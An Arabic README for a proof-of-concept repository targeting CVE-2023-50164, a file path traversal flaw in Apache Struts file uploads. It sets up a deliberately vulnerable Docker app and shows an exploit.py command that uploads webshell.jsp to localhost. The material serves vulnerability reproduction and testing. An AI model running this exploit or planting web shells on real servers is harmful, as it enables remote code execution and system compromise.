
تطبيق PoC وسكربت استغلال لـ CVE-2023-50164
هذا المستودع هو إثبات مفهوم (PoC) لثغرة CVE-2023-50164.
CVE-2023-50164 هي ثغرة اجتياز مسار الملف (file path traversal) تحدث في تطبيق ويب Apache Struts.
يمكن للمهاجم استغلال هذه الثغرة لرفع ملف خبيث (WebShell أو برمجيات خبيثة أخرى) إلى موقع عشوائي وتنفيذ هجمات ثانوية مثل تنفيذ التعليمات البرمجية عن بُعد.
تطبيق الويب المعرّض للثغرة، StrutsUploadApp، مُحزَّم باستخدام Docker. اتبع هذه الخطوات لبناء البيئة ونشرها.
استخدم ملف Dockerfile المرفق لبناء صورة Docker الخاصة بـ StrutsUploadApp.
docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app
شغّل سكربت الاستغلال لتفعيل الثغرة.
python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
--file=webshell.jsp \
--file-parameter=upload \
--attempts=5